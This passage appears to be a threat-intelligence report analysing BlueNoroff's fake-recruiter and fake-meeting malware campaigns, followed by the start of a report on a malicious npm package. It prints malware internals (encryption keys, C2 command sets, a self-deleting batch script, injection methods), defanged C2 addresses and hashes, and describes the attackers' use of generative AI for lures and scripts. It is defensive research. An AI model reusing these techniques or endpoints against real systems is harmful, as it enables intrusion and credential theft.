    The results of these commands are then sent to the specified C2 server inside a POST request with the following User-Agent header: mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0). This User-Agent is the same as the one used in the Swift implementation of the RustBucket variant.

    ci[random ID][hostname][macOS version][timezone][install log][boot time][hw model][current time][process list]

    After sending the system reconnaissance data to the C2 server, SysPhon waits for commands. It determines its next action by examining the first character of the response it receives. If the response begins with 0, SysPhon executes the binary payload; if it’s 1, the downloader exits.

    AI-powered attack strategy

    While the video feeds for fake calls were recorded via the fabricated Zoom phishing pages the actor created, the profile images of meeting participants appear to have been sourced from job platforms or social media platforms such as LinkedIn, Crunchbase, or X. Interestingly, some of these images were enhanced with GPT-4o. Since OpenAI implemented the C2PA standard specification metadata to identify the generated images as artificial, the images created via ChatGPT include metadata that indicates their synthetic origin, which is embedded in file formats such as PNGs.

    EXIF metadata of images generated by GPT-4o

    EXIF metadata of images generated by GPT-4o

    Among these were images whose filenames were set to the target’s name. This indicates the actor likely used the target’s publicly available profile image to generate a suitable profile for use alongside the recorded video. Furthermore, the inclusion of Zoom’s legitimate favicon image leads us to assess with medium-high confidence that the actor is leveraging AI for image enhancement.

    Victim's profile image enhanced using GPT-4o

    Victim’s profile image enhanced using GPT-4o

    In addition, the secrets stealer module of SilentSiphon, secrets.sh, includes several comment lines. One of them uses a checkmark emoticon to indicate archiving success, although the comment was related to the backup being completed. Since threat actors rarely use comments, especially emoticons, in malware intended for real attacks, we suggest that BlueNoroff uses generative AI to write malicious scripts similar to this module. We assume they likely requested a backup script rather than an exfiltration script.

    Comments that appear to be AI-generated in the secrets stealer module

    Comments that appear to be AI-generated in the secrets stealer module

    The GhostHire campaign

    The GhostHire campaign was less visible than GhostCall, but it also began as early as mid-2023, with its latest wave observed recently. It overlaps with the GhostCall campaign in terms of infrastructure and tools, but instead of using video calls, the threat actors pose as fake recruiters to target developers and engineers. The campaign is disguised as skill assessment to deliver malicious projects, exploiting Telegram bots and GitHub as delivery vehicles. Based on historical attack cases of this campaign, we assess with medium confidence that this attack flow involving Telegram and GitHub represents the latest phase, which started no later than April this year.

    Initial access

    The actor initiates communication with the target directly on Telegram. Victims receive a message with a job offer along with a link to a LinkedIn profile that impersonates a senior recruiter at a financial services company based in the United States.

    Fake LinkedIn profile

    Fake LinkedIn profile

    We observed that the actor uses a Telegram Premium account to enhance their credibility by employing a custom emoji sticker featuring the company’s logo. They attempt to make the other party believe they are in contact with a legitimate representative.

    Fake Telegram account

    Fake Telegram account

    During the investigation, we noticed suspicious changes made to the Telegram account, such as a shift from the earlier recruiter persona to impersonating individuals associated with a Web3 multi-gaming application. The actor even changed their Telegram handle to remove the previous connection.

    The same Telegram account changed to impersonate a Web3 company founder

    The same Telegram account changed to impersonate a Web3 company founder

    During the early stages of our research and ongoing monitoring of publicly available malicious repositories, we observed a blog post published by a publicly cited target. In this post, the author shares their firsthand experience with a scam attempt involving the same malicious repositories we already identified. It provided us with valuable insight into how the group initiates contact with a target and progresses through a fake interview process.

    Following up on initial communication, the actor adds the target to a user list for a Telegram bot, which displays the impersonated company’s logo and falsely claims to streamline technical assessments for candidates. The bot then sends the victim an archive file (ZIP) containing a coding assessment project, along with a strict deadline (often around 30 minutes) to pressure the target into quickly completing the task. This urgency increases the likelihood of the target executing the malicious content, leading to initial system compromise.

    The project delivered through the ZIP file appears to be a legitimate DeFi-related project written in Go, aiming at routing cryptocurrency transactions across various protocols. The main project code relies on an external malicious dependency specified in the go.mod file, rather than embedding malicious code directly into the project’s own files. The external project is named uniroute. It was published in the official Go packages repository on April 9, 2025.

    We had observed this same repository earlier in our investigation, prior to identifying the victim’s blog post, which later validated our findings. In addition to the Golang repository, we discovered a TypeScript-based repository uploaded to GitHub that has the same download function.

    Uniroute malicious package is referenced via go.mod in the DeFi-related project

    Uniroute malicious package is referenced via go.mod in the DeFi-related project

    Upon execution of the project, the malicious package is imported, and the GetUniRoute() function is called during the initialization of the unirouter at the following path: contracts/UniswapUniversalRouter.go. This function call acts as the entry point for the malicious code.

    Entry point of malicious function

    Entry point of malicious function

    Malicious Golang packages

    The malicious package consists of several files:

    uniroute
    ├── README.md
    ├── dar.go
    ├── go.mod
    ├── go.sum
    ├── lin.go
    ├── uniroute.go
    └── win.go

    The main malicious logic is implemented in the following files:

    1. uniroute.go: the main entry point
    2. win.go: Windows-specific malicious code
    3. lin.go: Linux-specific malicious code
    4. dar.go: macOS (Darwin)-specific malicious code

    The main entry point of the package includes a basic base64-encoded blob that is decoded to a URL hosting the second-stage payload: hxxps://download.datatabletemplate[.]xyz/account/register/id=8118555902061899&secret=QwLoOZSDakFh.

    Base64-encoded C2 URL in the malicious package

    Base64-encoded C2 URL in the malicious package

    When the User-Agent of the running platform is detected, the corresponding payload is retrieved and executed. The package utilizes Go build tags to execute different code depending on the operating system.

    • Windows (win.go). Downloads its payload to %TEMP%\init.ps1 and performs anti-antivirus checks by looking for the presence of the 360 Security process. If the 360 antivirus is not detected, the malware generates an additional VBScript wrapper at %TEMP%\init.vbs. The PowerShell script is then covertly executed with a bypassed execution policy, without displaying any windows to the user.
    • Linux (lin.go). Downloads its payload to /tmp/init and runs it as a bash script with nohup, ensuring the process continues running even after the parent process terminates.
    • macOS (dar.go). Similarly to Linux, downloads its payload to /tmp/init and uses osascript with nohup to execute it.

    We used our open source package monitoring tool to discover that the actor had published several malicious Go packages with behavior similar to uniroute. These packages are imported into repositories and executed within a specific section of the code.

    Package Version Published date Role
    sorttemplate v1.1.1 ~ v1.1.5 Jun 11, 2024 ~ Apr 17, 2025 Malicious dependency
    sort v1.1.2 ~ v1.1.7 Nov 10, 2024 ~ Apr 17, 2025 Refers to the malicious sorttemplate
    sorttemplate v1.1.1 Jan 10, 2025 Malicious dependency
    uniroute v1.1.1 ~ v2.1.5 Apr 2, 2025 ~ Apr 9, 2025 Malicious dependency
    BaseRouter Apr 5, 2025 ~ Apr 7, 2025 Malicious dependency

    Malicious TypeScript project

    Not only did we observe attacks involving malicious Golang packages, but we also identified a malicious Next.js project written in TypeScript and uploaded to GitHub. This project includes TypeScript source code for an NFT-related frontend task. The project acts in a similar fashion to the Golang ones, except that there is no dependency. Instead, a malicious TypeScript file within the project downloads the second-stage payload from a hardcoded URL.

    Malicious TypeScript-based project

    Malicious TypeScript-based project

    The malicious behavior is implemented in pages/api/hello.ts, and the hello API is fetched by NavBar.tsx with fetch('/api/hello').

    wallet-portfolio
    ├── README.md
    ├── components
    │   ├── navBar
    │   │   ├── NavBar.tsx ##### caller
    ...
    ├── data
    ├── next.config.js
    ├── package-lock.json
    ├── package.json
    ├── pages
    │   ├── 404.tsx
    │   ├── _app.tsx
    │   ├── _document.tsx
    │   ├── api
    │   │   ├── 404.ts
    │   │   ├── app.ts
    │   │   ├── hello.ts ##### malicious
    ...
    │   ├── create-nft.tsx
    │   ├── explore-nfts.tsx
    ...

    We have to point out that this tactic isn’t unique to BlueNoroff. Lazarus, being BlueNoroff’s parent group, was the first to adopt it, and the Contagious Interview campaign also uses it. However, the GhostHire campaign stands apart because it uses a completely different set of malware chains.

    DownTroy: multi-platform downloader

    Upon accessing the URL with the correct User-Agent, corresponding scripts are downloaded for each OS: PowerShell for Windows, bash script for Linux, and AppleScript for macOS, which all turned out to be the DownTroy malware. It is the same as the final payload in the DownTroy chains from the GhostCall campaign and has been expanded to include versions for both Windows and Linux. In the GhostHire campaign, this script serves as the initial downloader, fetching various malware chains from a file hosting server.

    DownTroy delivery process

    DownTroy delivery process

    Over the course of tracking this campaign, we have observed multiple gradual updates to these DownTroy scripts. The final version shows that the PowerShell code is XOR-encrypted, and the AppleScript has strings split by individual characters. Additionally, all three DownTroy strains collect comprehensive system information including OS details, domain name, host name, username, proxy settings, and VM detection alongside process lists.

    Full infection chain on Windows

    In January 2025, we identified a victim who had executed a malicious TypeScript project located at <company name>-wallet-portfolio, which followed the recruiter persona from the financial company scenario described earlier. The subsequent execution of the malicious script created the files init.vbs and init.ps1 in the %temp% directory.

    The DownTroy script (init.ps1) was running to download additional malware from an external server every 30 seconds. During the attack, two additional script files, chsplitobf.ps1 and sinst.bat, were downloaded and executed on the infected host. Though we weren’t able to obtain the files, based on our detection, we assess the PowerShell script harvests credentials stored in a browser, similar to SilentSiphon on macOS.

    In addition, in the course of the attack, several other payloads written in Go and Rust rather than scripts, were retrieved from the file hosting server dataupload[.]store and executed.

    Overall Windows infection chain

    Overall Windows infection chain

    New method for payload delivery

    In contrast to GhostCall, DownTroy.Windows would retrieve a base64-encoded binary blob from the file hosting server and inject it into the cmd.exe process after decoding. This blob typically consists of metadata, a payload, and the loader code responsible for loading the payload. The first five bytes of the blob represent a CALL instruction that invokes the loader code, followed by 0x48 bytes of metadata. The loader, which is 0xD6B bytes in size, utilizes the metadata to load the payload into memory. The payload is written to newly allocated space, then relocated, and its import address table (IAT) is rebuilt from the same metadata. Finally, the payload is executed with the CreateThread function.

    Binary blob structure

    Binary blob structure

    The metadata contains some of the fields from PE file format, such as an entry point of the payload, imagebase, number of sections, etc, needed to dynamically load the payload. The payload is invoked by the loader by referencing the metadata stored separately, so it has a corrupted COFF header when loaded. Generally, payloads in PE file format should have a legitimate header with the corresponding fields, but in this case, the top 0x188 bytes of the PE header of the payload are all filled with dummy values, making it difficult to analyze and detect.

    UAC bypass

    We observed that the first thing the actor deployed after DownTroy was installed was the User Account Control (UAC) bypass tool. The first binary blob fetched by DownTroy contained the payload bypassing UAC that used a technique disclosed in 2019 by the Google Project Zero team. This RPC-based UAC bypass leveraging the 201ef99a-7fa0-444c-9399-19ba84f12a1a interface was also observed in the KONNI malware execution chain in 2021. However, the process that obtains the privilege had been changed from Taskmgr.exe to Computerdefaults.exe.

    The commands executed through this technique are shown below. In this case, this.exe is replaced by the legitimate explorer.exe due to parent PID spoofing.

    In other words, the actor was able to run DownTroy with elevated privileges, which is the starting point for all further actions. It also executed init.vbs, the launcher that runs DownTroy, with elevated privileges.

    RooTroy.Windows in Go

    RooTroy.Windows is the first non-scripted malware installed on an infected host. It is a simple downloader written in Go, same to the malware used in the GhostCall campaign. Based on our analysis of RooTroy’s behavior and execution flow, it was loaded and executed by a Windows service named NetCheckSvc.

    Although we did not obtain the command or installer used to register the NetCheckSvc service, we observed that the installer had been downloaded from dataupload[.]store via DownTroy and injected into the legitimate cmd.exe process with the parameter -m yuqqm2ced6zb9zfzvu3quxtrz885cdoh. The installer then probably created the file netchksvc.dll at C:\Windows\system32 and configured it to run as a service named NetCheckSvc. Once netchksvc.dll was executed, it loaded RooTroy into memory, which allowed it to operate in the memory of the legitimate svchost.exe process used to run services in Windows.

    RooTroy.Windows initially retrieves configuration information from the file C:\Windows\system32\smss.dat. The contents of this file are decrypted using RC4 with a hardcoded key: B3CC15C1033DE79024F9CF3CD6A6A7A9B7E54A1A57D3156036F5C05F541694B7. This key is different from the one used in the macOS variant of this malware, but the same C2 URLs were used in the GhostCall campaign: readysafe[.]xyz and safefor[.]xyz.

    Then RooTroy.Windows creates a string object {"rt": "5.0.0"}, which is intended to represent the malware’s version. This string is encrypted using RC4 with another hardcoded string, C4DB903322D17C8CBF1D1DB55124854C0B070D6ECE54162B6A4D06DF24C572DF. It is the same as the key used in RooTroy.macOS, and it is stored at C:\ProgramData\Google\Chrome\version.dat.

    Next, the malware collects device information, including lists of current, new and terminated processes, OS information, boot time, and more, which are all structured in a JSON object. It then sends the collected data to the C2 server using the POST method with the Content-Type: application/json header.

    The response is parsed into a JSON object to extract additional information required for executing the actual command. The commands are executed based on the value of the type field in the response, with each command processing its corresponding parameters in the required object.

    Value of type Description
    0 Send current configuration to C2
    1 Update received configuration with the configuration file (smss.dat)
    2 Payload injection
    3 Self-update

    If the received value of type is 2 or 3, the responses include a common source field within the parsed data, indicating where the additional payload originates. Depending on the value of source, the data field in the parsed data contains either the file path where the payload is stored on the disk, the C2 server address from which it should be downloaded, or the payload itself encoded in base64. Additionally, if the cipher field is set to true, the key field is used as the RC4 decryption key.

    Value of source Description Value of data
    0 Read payload from a specific file File path
    1 Fetch payload from another server C2 address
    2 Delivered by the current JSON object base64-encoded payload

    If the value of type is set to 2, the injection mode, referred to as peshooter in the code, is activated to execute an additional payload into memory. This mode checks whether the payload sourced from the data field is encrypted by examining the cipher value as a flag in the parsed data. If it is, the payload is decrypted with the RC4 algorithm. If no key is provided in the key value, a hardcoded string, A6C1A7CE43B029A1EF4AE69B26F745440ECCE8368C89F11AC999D4ED04A31572, is used as the default key.

    If the pid value is not specified (e.g., set to -1), the process with the name provided in the process field is executed in suspended mode, with the optional argument value as its input. Additionally, if a sid value is provided at runtime, a process with the corresponding session ID is created. If a pid value is explicitly given, the injection is performed into that specific process.

    Before performing the injection, the malware enables the SeDebugPrivilege privilege for process injection and unhooks the loaded ntdll.dll for the purpose of bypassing detection. This is a DLL unhooking technique that dynamically loads and patches the .text section of ntdll.dll to bypass the hooking of key functions by security software to detect malicious behavior.

    Once all the above preparations are completed, the malware finally injects the payload into the targeted process.

    If the value of type is set to 3, self-update mode is activated. Similar to injection mode, it first checks whether the payload sourced from the data is encrypted and, if so, decrypts it using RC4 with a hardcoded key: B494A0AE421AFE170F6CB9DE2C1193A78FBE16F627F85139676AFC5D9BFE93A2. A random 32-byte string is then generated, and the payload is encrypted using RC4 with this string as the key. The encrypted payload is stored in the file located at C:\Windows\system32\boot.sdl, while the generated random key is saved unencrypted in C:\Windows\system32\wizard.sep. This means the loader will read the wizard.sep file to retrieve the RC4 key, use it to decrypt the payload from boot.sdl, and then load it.

    After successfully completing the update operation, the following commands are created under the filename update-[random].bat in the %temp% directory:

    @echo off
    set SERVICE_NAME=NetCheckSvc
    sc stop %SERVICE_NAME% >nul 2>&1
    sc start %SERVICE_NAME% >nul 2>&1
    start "" cmd /c del "%~f0" >nul 2>&1

    This batch script restarts a service called NetCheckSvc and self-deletes, which causes the loader netchksvc.dll to be reloaded. In other words, the self-update mode updates RooTroy itself by modifying two files mentioned above.

    According to our telemetry, we observed that the payload called RealTimeTroy was fetched by RooTroy and injected into cmd.exe  process with the injected wss://signsafe[.]xyz/update parameter.

    RealTimeTroy in Go

    The backdoor requires at least two arguments: a simple string and a C2 server address. Before connecting to the given C2 server, the first argument is encrypted using the RC4 algorithm with the key 9939065709AD8489E589D52003D707CBD33AC81DC78BC742AA6E3E811BA344C and then base64 encoded. In the observed instance, this encoded value is passed to the “p” (payload) field in the request packet.

    The entire request packet is additionally encrypted using RC4 algorithm with the key 4451EE8BC53EA7C148D8348BC7B82ACA9977BDD31C0156DFE25C4A879A1D2190. RealTimeTroy then sends this encrypted message to the C2 server to continue communication and receive commands from the C2.

    Then the malware receives a response from the C2. The value of “e” (event) within the response should be 5, and the value of “p” is decoded using base64 and then decrypted using RC4 with the key 71B743C529F0B27735F7774A0903CB908EDC93423B60FE9BE49A3729982D0E8D, which is deserialized in JSON. The command is extracted from the “c” (command) field in the JSON object, and the malware performs specific actions according to the command.

    Command Description Parameter from C2
    1 Get list of subfiles Directory path
    2 Wipe file File path
    3 Read file File path
    4 Read directory Directory path
    5 Get directory information Directory path
    6 Get process information
    7 Terminate process Process ID
    8 Execute command Command line
    10 Write file File path, content
    11 Change work directory Directory path
    12 Get device information
    13 Get local drives
    14 Delete file File path
    15 Cancel command
    16 File download Data for file download
    19 Process injection Data for process injection

    Upon receiving the file download command (16), the d (data) field in the response contains a JSON object. If the u (url) field is initialized, a connection is established to the specified URL using the m (method) and h (headers) fields provided in the same JSON object. If the connection returns a 200 status code (success), the response body is written to the file path indicated by the r (rpath) value in the response.

    While the u value is not initialized, the malware writes the value of the b (buffer) field from the response to the path provided through the r field. It continues writing b until the e (eof) flag is set and then sends the xxHash of the total downloaded contents to the C2 server. This allows for the downloading of the larger file contents from the C2 server.

    When receiving the process injection command (19), the d in the response includes another JSON object. If the l (local) flag within this object is set to true, a t (total) amount of data is read from b starting at the f (from) position specified in the object. The xxHash value of b is then validated to ensure it matches the provided h (hash) value. If the l flag is false, b is instead read from the file path specified as fp (file path). The payload is then injected into cmd.exe with the same method as the peshooter used in RooTroy.

    The result is then serialized and secured with a combination of RC4 encryption and base64 encoding before being sent to the C2 server. The key used for encryption, 71B743C529F0B27735F7774A0903CB908EDC93423B60FE9BE49A3729982D0E8D, is the same key used to decrypt the response object.

    CosmicDoor.Windows written in Go

    CosmicDoor.Windows is the Windows version of CosmicDoor written in Go and has the same features as macOS versions. The C2 server address wss://second.systemupdate[.]cloud/client is hardcoded in the malware. It processes a total of seven commands, passed from the C2.

    Command Description Parameter from C2
    234 Get device information
    333 No operation Unknown
    44 Update configuration Interval time, UID, C2 server address
    78 Get current work directory
    1 Get interval time
    12 Execute commands OR code injection Command line
    34 Set current work directory Directory path

    The command 234 is for collecting device information such as user name, computer name, OS, architecture, Windows version, and boot time.

    The command 12 serves two primary functions. The first is to execute a command line passed as a parameter using cmd.exe /c, while the second is to perform code injection. This injection capability is nearly identical to the peshooter functionality found in RooTroy, but it is considered an enhanced version.

    Within CosmicDoor, the peshooter feature can accept up to six parameters using the shoot or shoote command to configure code injection options. If a file path is provided in the PATH parameter, the next payload is read from that file on the system. Conversely, if a string beginning with http is specified, the next payload is retrieved through HTTP communication instead.

    Num Parameter Description
    1 shoot or shoote The next payload is either plain or base64-encoded
    2 SID Session ID to be used when executing notepad.exe
    3 PID Process ID of the targeted process to be injected
    4 REASON If set to -1, ARGS is passed to the injected payload
    5 PATH Read payload from local file or fetch it from external server
    6 ARGS Parameters to be passed
    7 FUNC Export function name to execute

    Then it checks the SID, PID, and REASON parameters. If PID is not passed, CosmicDoor defaults to creating notepad.exe in suspended mode and assigns it a target for injection, and the SID determines the session ID that runs notepad.exe. If no SID is passed, it defaults to the token of the current process. REASON means to pass ARGS to the payload by default if no value greater than 0 is passed.

    Finally, CosmicDoor allocates space inside of the targeted process’s memory space for the payload, the hardcoded shellcode for the loader, and ARGS to write the data, and then invokes the loader code to execute the final payload from memory. If FUNC is set at this point, it calls the corresponding export function of the loaded payload. This usage is also well displayed inside CosmicDoor.

    "ERROR: Invalid syntax.\n"
    "Examples:\n"
    "\tshoot [SID] [PID] [REASON] [PATH] [ARGS] [FUNC]\n"
    "Parameter List:\n"
    "\t[SID] Session ID.\n"
    "\t[PID] Process ID.\n"
    "\t[REASON] reason.\n"
    "\t[PATH] the path of PE file.\n"
    "\t[ARGS] the arguments of PE file.\n"
    "\t[FUNC] Export function of PE file.\n";

    Bof loader written in Rust

    Bof loader is assumed to be one of the payloads downloaded from dataupload[.]store by DownTroy. It is a loader protected by Themida and written in Rust. The malware was created with the name nlsport.dll, and unlike other malware, it is registered with security support providers and loaded with SYSTEM privileges by the LSASS process at Windows boot time. In this instance, the malicious behavior is implemented in the SpLsaModeInitialize export function inside the DLL file and it contains the string that indicates its work path C:\Users\Molly.

    The loader employs the NTDLL unhooking technique, a method also used by other malware families. After unhooking, the loader reads two files. The first one contains an RC4 key, while the second holds a payload encrypted with that key.

    • RC4 key: C:\Windows\system32\wand.bin
    • Encrypted payload: C:\Windows\system32\front.sdl.

    The loader then decrypts the payload, allocates memory in the current process, and executes the decrypted shellcode via the NtCreateThreadEx function. This is very similar to the injection feature implemented within RooTroy, written in Golang.

    During our focused monitoring of the threat actor’s infrastructure, we discovered that one of the instances was signed with a valid certificate from a legitimate Indian company.

    Victims

    Using our telemetry, we detected infection events from various countries affected by both campaigns. We have observed several infected macOS hosts located in Japan, Italy, France, Singapore, Turkey, Spain, Sweden, India and Hong Kong infected by the GhostCall campaign since 2023. The victims of the GhostHire campaign, which resumed its activities starting this year, have been identified as individuals in Japan and Australia.

    We observed that many stolen videos and profile images have been uploaded to the actor’s public storage server. These were utilized to convince victims in the course of the GhostCall campaign. We closely examined the uploaded data and found that most victims were executives at tech companies and venture capital funds in the Web3/blockchain industry located in the APAC region, particularly in Singapore and Hong Kong.

    Attribution

    In 2022, we already uncovered the PowerShell script that BlueNoroff heavily relied on to collect base system information and execute commands from its C2 server. This script is considered to be an earlier version of DownTroy. Moreover, leveraging trusted resources attributed to venture capital funds to attack the cryptocurrency-related industry was a primary attack method of the SnatchCrypto campaign. Additionally, the tendency to create phishing domains using the names of venture capital firms and the use of Hostwinds hosting to build these phishing sites also overlaps with past cases of BlueNoroff observed in our previous research.

    In late-2023, we provided an insight into the early stage of the BlueNoroff’s GhostCall campaign to our customers. The actor utilized JavaScript and AppleScript to raise an issue regarding IP access control on Windows and macOS respectively. In this instance, the JavaScript ultimately downloaded a VBScript file, which has been identified as a VBScript version of DownTroy. This version shares a C2 server with CosmicDoor.Windows. The AppleScript was used against a victim in August 2023, and fetched from a fake domain support.video-meeting[.]online, which shared its resolved IP address (104.168.214[.]151) with the ObjCShellZ malware’s C2 server swissborg[.]blog.

    We assess with medium-high confidence that BlueNoroff is behind both campaigns when comprehensively considering the infrastructure, malware, attack methods, final targets, and motives behind the attacks used in both campaigns.

    Conclusion

    Our research indicates a sustained effort by the actor to develop malware targeting both Windows and macOS systems, orchestrated through a unified command-and-control infrastructure. The use of generative AI has significantly accelerated this process, enabling more efficient malware development with reduced operational overhead. Notably, AI will make it easier to introduce new programming languages and add new features, thereby complicating detection and analysis tasks. Furthermore, AI supports the actor’s ability to maintain and expand their infrastructure, enhancing their overall productivity.

    Beyond technical capabilities, the actor leverages AI to refine sophisticated social engineering tactics. The AI-powered, tailored approach enables the attackers to convincingly disguise themselves, operating with detailed information, allowing for more meticulous targeted attacks. By combining compromised data with AI’s analytical and productive capabilities, the actor’s attack success rate has demonstrably increased.

    The actor’s targeting strategy has evolved beyond simple cryptocurrency and browser credential theft. Upon gaining access, they conduct comprehensive data acquisition across a range of assets, including infrastructure, collaboration tools, note-taking applications, development environments, and communication platforms (messengers). This harvested data is exploited not only against the initial target but also to facilitate subsequent attacks, enabling the actor to execute supply chain attacks and leverage established trust relationships to impact a broader range of users.

    Kaspersky products detect the malware used in this attack with the following verdicts:

    HEUR:Trojan.VBS.Agent.gen UDS:Trojan.PowerShell.SBadur.gen HEUR:Trojan.VBS.Cobalt.gen
    Trojan.VBS.Runner Trojan-Downloader.PowerShell.Powedon Trojan.Win64.Kryptik
    Backdoor.PowerShell.Agent HEUR:Backdoor.OSX.OSA HEUR:Backdoor.OSX.Agent
    Backdor.Shell.Agent Trojan.Win32.BlueNoroff.l HEUR:Trojan-Spy.OSX.ZoomClutch.a
    HEUR:Trojan.OSX.Nimcore.a HEUR:Backdoor.OSX.RooTroy.a HEUR:Trojan-Downloader.OSX.Bluenoroff.a
    HEUR:Backdoor.OSX.CosmicDoor.a HEUR:Trojan-Dropper.OSX.GillyInjector.a HEUR:Trojan.OSX.Nukesped.*
    HEUR:Trojan-Downloader.OSX.Bluenoroff.b HEUR:Backdoor.Python.Agent.br HEUR:Trojan.HTML.Bluenoroff.a
    HEUR:Trojan.OSX.BlueNoroff.gen Trojan.Python.BlueNoroff.a Trojan.Shell.Agent.gn

    Indicators of compromise

    More IoCs are available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.

    AppleScript
    e33f942cf1479ca8530a916868bad954        zoom_sdk_support.scpt
    963f473f1734d8b3fbb8c9a227c06d07         test1
    60bfe4f378e9f5a84183ac505a032228        MSTeamsUpdate.scpt

    ZoomClutch
    7f94ed2d5f566c12de5ebe4b5e3d8aa3         zoom

    TeamsClutch
    389447013870120775556bb4519dba97        Microsoft Teams

    DownTroy v1 chain
    50f341b24cb75f37d042d1e5f9e3e5aa         trustd
    a26f2b97ca4e2b4b5d58933900f02131        watchdog, SafariUpdate
    6422795a6df10c45c1006f92d686ee7e        633835385.txt

    CosmicDoor in Rust
    931cec3c80c78d233e3602a042a2e71b         dnschk
    c42c7a2ea1c2f00dddb0cc4c8bfb5bcf         dnschk

    CosmicDoor in Python
    9551b4af789b2db563f9452eaf46b6aa        netchk

    CosmicDoor chain
    76ace3a6892c25512b17ed42ac2ebd05         a
    19a7e16332a6860b65e6944f1f3c5001         a

    SilentSiphon
    c446682f33641cff21083ac2ce477dbe         upl
    e8680d17fba6425e4a9bb552fb8db2b1        upl.sh
    10cd1ef394bc2a2d8d8f2558b73ac7b8        upl.sh
    a070b77c5028d7a5d2895f1c9d35016f        cpl.sh
    38c8d80dd32d00e9c9440a498f7dd739        secrets.sh
    7168ce5c6e5545a5b389db09c90038da         uad.sh
    261a409946b6b4d9ce706242a76134e3         ubd.sh
    31b88dd319af8e4b8a96fc9732ebc708        utd.sh

    RooTroy chain
    1ee10fa01587cec51f455ceec779a160         rtv4inst
    3bbe4dfe3134c8a7928d10c948e20bee        st, Update Check
    7581854ff6c890684823f3aed03c210f         wt
    01d3ed1c228f09d8e56bfbc5f5622a6c        remoted

    RealTimeTroy chain
    5cb4f0084f3c25e640952753ed5b25d0         Chrome Update

    SneakMain in Rust
    1243968876262c3ad4250e1371447b23        helper, wt
    5ad40a5fd18a1b57b69c44bc2963dc6b        633835387.txt
    6348b49f3499d760797247b94385fda3        ChromeUpdate

    SneakMain chain
    17baae144d383e4dc32f1bf69700e587         mdworker
    8f8942cd14f646f59729f83cbd4c357b        com.password.startup
    0af11f610da1f691e43173d44643283f        CloudSigner, Microsoft Excel, Hancom Office HWP, zoom.us, com.onedrive.updater
    7e50c3f301dd045eb189ba1644ded155        mig

    TripleWatch stealer
    0ca37675d75af0e7def0025cd564d6c5        keyboardd

    DownTroy v2 chain
    d63805e89053716b6ab93ce6decf8450         CoreKitAgent
    e9fdd703e60b31eb803b1b59985cabec         GoogIe LLC
    f1d2af27b13cd3424556b18dfd3cf83f        installer
    b567bfdaac131a2d8a23ad8fd450a31d         CoreKitAgent
    00dd47af3db45548d2722fe8a4489508        GoogIe LLC
    6aa93664b4852cb5bad84ba1a187f645        installer
    d8529855fab4b4aa6c2b34449cb3b9fb        CoreKitAgent
    eda0525c078f5a216a977bc64e86160a         GoogIe LLC
    ab1e8693931f8c694247d96cf5a85197        installer

    SysPhon chain
    1653d75d579872fadec1f22cf7fee3c0        com.apple.sysd
    529fe6eff1cf452680976087e2250c02         growth
    a0eb7e480752d494709c63aa35ccf36c        com.apple.secd
    73d26eb56e5a3426884733c104c3f625        Wi-Fi Updater

    VBScript
    358c2969041c8be74ce478edb2ffcd19        init.vbs
    2c42253ebf9a743814b9b16a89522bef        init.vbs

    DownTroy.Windows
    f1bad0efbd3bd5a4202fe740756f977a        init.ps1
    a6ce961f487b4cbdfe68d0a249647c48        init.ps1
    8006efb8dd703073197e5a27682b35bf         init.ps1
    c6f0c8d41b9ad4f079161548d2435d80                init.ps1
    f8bb2528bf35f8c11fbc4369e68c4038                init.ps1

    Bof loader
    b2e9a6412fd7c068a5d7c38d0afd946f        nlsport.dll
    de93e85199240de761a8ba0a56f0088d

    File hosting server
    system.updatecheck[.]store
    dataupload[.]store
    safeupload[.]online
    filedrive[.]online

    AppleScript C2
    hxxp://web071zoom[.]us/fix/audio/4542828056
    hxxp://web071zoom[.]us/fix/audio-fv/7217417464
    hxxp://web071zoom[.]us/fix/audio-tr/7217417464
    hxxps://support.ms-live[.]us/301631/check
    hxxps://support.ms-live[.]us/register/22989524464UcX2b5w52
    hxxps://support.ms-live[.]us/update/02583235891M49FYUN57

    ZoomClutch/TeamsClutch C2
    hxxps://safeupload[.]online/uploadfiles
    hxxps://api.clearit[.]sbs/uploadfiles
    hxxps://api.flashstore[.]sbs/uploadfiles
    hxxps://filedrive[.]online/uploadfiles

    DownTroy C2
    hxxps://bots.autoupdate[.]online:8080/test
    hxxps://writeup[.]live/test
    hxxps://safeup[.]store/test
    hxxps://api[.]clearit[.]sbs/test
    hxxps://api[.]flashstore[.]sbs/test

    CosmicDoor C2
    ws://web.commoncome[.]online:8080/client
    ws://first.longlastfor[.]online:8080/client
    wss://firstfromsep[.]online/client
    second.systemupdate[.]cloud
    second.awaitingfor[.]online

    RooTroy C2
    safefor[.]xyz
    readysafe[.]xyz

    RealTimeTroy C2
    instant-update[.]online
    signsafe[.]xyz

    TripleWatch stealer C2
    hxxps://metamask.awaitingfor[.]site/update

    SilentSiphon C2
    hxxps://urgent-update[.]cloud/uploadfiles
    hxxps://dataupload[.]store/uploadfiles
    hxxps://filedrive[.]online/uploadfiles

    SneakMain.macOS C2
    hxxps://chkactive[.]online/update
    hxxps://file-server[.]store/update
    hxxps://cloud-server[.]store/update
    hxxps://flashserve[.]store/update

    Additional C2 servers
    download.datatabletemplate[.]xyz
    check.datatabletemplate[.]shop
    download.face-online[.]world
    root.security-update[.]xyz
    real-update[.]xyz
    root.chkstate[.]online
    secondshop[.]online
    signsafe[.]site
    secondshop[.]store
    botsc.autoupdate[.]xyz
    first.system-update[.]xyz
    image-support[.]xyz
    pre.alwayswait[.]site

    Post-exploitation framework now also delivered via npm

    Incident description

    The first version of the AdaptixC2 post-exploitation framework, which can be considered an alternative to the well-known Cobalt Strike, was made publicly available in early 2025. In spring of 2025, the framework was first observed being used for malicious means.

    In October 2025, Kaspersky experts found that the npm ecosystem contained a malicious package with a fairly convincing name: https-proxy-utils. It was posing as a utility for using proxies within projects. At the time of this post, the package had already been taken down.

    The name of the package closely resembles popular legitimate packages: http-proxy-agent, which has approximately 70 million weekly downloads, and https-proxy-agent with 90 million downloads respectively. Furthermore, the advertised proxy-related functionality was cloned from another popular legitimate package proxy-from-env, which boasts 50 million weekly downloads. However, the threat actor injected a post-install script into https-proxy-utils, which downloads and executes a payload containing the AdaptixC2 agent.

    Metadata for the malicious (left) and legitimate (right) packages

    Metadata for the malicious (left) and legitimate (right) packages

    OS-specific adaptation

    The script includes various payload delivery methods for different operating systems. The package includes loading mechanisms for Windows, Linux, and macOS. In each OS, it uses specific techniques involving system or user directories to load and launch the implant.

